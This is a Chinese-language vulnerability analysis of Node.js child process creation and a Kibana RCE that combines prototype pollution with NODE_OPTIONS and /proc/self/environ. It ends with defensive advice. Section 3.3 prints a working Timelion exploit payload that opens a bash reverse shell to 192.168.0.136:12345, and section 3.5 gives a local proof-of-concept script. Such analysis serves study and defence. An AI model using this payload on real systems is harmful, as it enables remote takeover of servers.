从Kibana-RCE对nodejs子进程创建的思考
字数 1548 2025-08-25 22:58:40
Node.js子进程创建机制与Kibana RCE漏洞分析
1. child_process模块概述
Node.js的child_process模块提供了创建子进程的能力,是系统命令执行的核心模块。该模块内置了6个主要方法:
execFileSync()execSync()fork()exec()execFile()spawn()
调用关系图:
execFileSync() → spawnSync()
execSync() → spawnSync()
spawnSync() → spawn()
exec() → execFile() → spawn()
fork() → spawn()
所有方法最终都调用spawn(),spawn()的本质是创建ChildProcess的实例并返回。
2. spawn方法实现机制
2.1 初始化流程
const { spawn } = require('child_process');
spawn('whoami').stdout.on('data', (data) => {
console.log(`stdout: ${data}`);
});
- 调用
normalizeSpawnArguments初始化参数 - 创建
ChildProcess实例 - 调用底层
spawn实现
2.2 关键函数分析
normalizeSpawnArguments函数:
function normalizeSpawnArguments(file, args, options) {
if (options === undefined) options = {};
var env = options.env || process.env;
var envPairs = [];
for (var key in env) {
envPairs.push(key + '=' + env[key]);
}
return {
file: file,
args: args,
options: options,
envPairs: envPairs
};
}
关键点:
- 当
options.env未定义时,默认使用process.env - 环境变量被转换为
key=value格式存入envPairs options默认为空对象,其任何属性都可能被原型链污染
2.3 底层实现
ChildProcess.prototype.spawn调用C++层的process_wrap.cc实现:
static void Spawn(const FunctionCallbackInfo<Value>& args) {
Local<Object> js_options = args[0]->ToObject(env->context()).ToLocalChecked();
// 处理环境变量
Local<Value> env_v = js_options->Get(context, env->env_pairs_string()).ToLocalChecked();
if (!env_v.IsEmpty() && env_v->IsArray()) {
Local<Array> env_opt = Local<Array>::Cast(env_v);
int envc = env_opt->Length();
options.env = new char*[envc + 1];
for (int i = 0; i < envc; i++) {
node::Utf8Value pair(env->isolate(), env_opt->Get(context, i).ToLocalChecked());
options.env[i] = strdup(*pair);
}
options.env[envc] = nullptr;
}
// 调用uv_spawn创建子进程
int err = uv_spawn(env->event_loop(), &wrap->process_, &options);
}
最终通过execvp执行命令:
execvp(options->file, options->args);
3. Kibana RCE漏洞分析
3.1 漏洞原理
利用原型链污染+子进程调用实现RCE:
- 原型链污染:污染
Object.prototype.env属性 - 子进程创建:通过污染的环境变量影响新进程
3.2 关键技术点
NODE_OPTIONS机制:
- Node.js > v8.0.0支持
NODE_OPTIONS环境变量 - 可以在启动时包含JS脚本(相当于
include) - 示例:
NODE_OPTIONS='--require ./evil.js' node
Linux环境变量存储:
- 进程环境变量存储在
/proc/self/environ - 子进程会继承父进程的环境变量
3.3 漏洞利用POC
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
执行流程:
- 污染
Object.prototype.env,注入恶意代码和NODE_OPTIONS - 当创建子进程时,
NODE_OPTIONS会加载/proc/self/environ environ中包含恶意代码,导致RCE
3.4 利用条件分析
-
必须使用fork()方法:
fork()内部调用spawn()时,file值会被设置为process.execPath(即node)- 只有
node进程才会处理NODE_OPTIONS
-
其他方法的限制:
exec()和execFile()默认使用/bin/sh作为解释器- 即使通过原型污染修改
shell选项,也无法改变最终行为
3.5 验证代码
// test.js
proc = require('child_process');
var aa = {}
aa.__proto__.env = {
'AAAA':'console.log(123)//',
'NODE_OPTIONS':'--require /proc/self/environ'
}
proc.fork('./function.js');
// function.js
console.log('this is func')
4. 防御措施
-
避免原型链污染:
- 使用
Object.create(null)创建无原型对象 - 对用户输入进行严格过滤
- 使用
-
子进程创建安全:
- 始终显式设置
options.env,避免继承process.env - 使用
execFile()而非exec(),避免shell解释
- 始终显式设置
-
环境变量安全:
- 限制
NODE_OPTIONS的使用 - 检查关键环境变量是否被篡改
- 限制
5. 总结
该漏洞的核心在于:
- 原型链污染可以影响
child_process模块的环境变量 fork()方法创建的是Node.js子进程,会处理NODE_OPTIONS- 通过污染环境变量注入恶意代码实现RCE
理解Node.js子进程创建机制对于安全开发和漏洞分析至关重要,特别是在处理用户输入和创建子进程时,需要格外注意安全边界。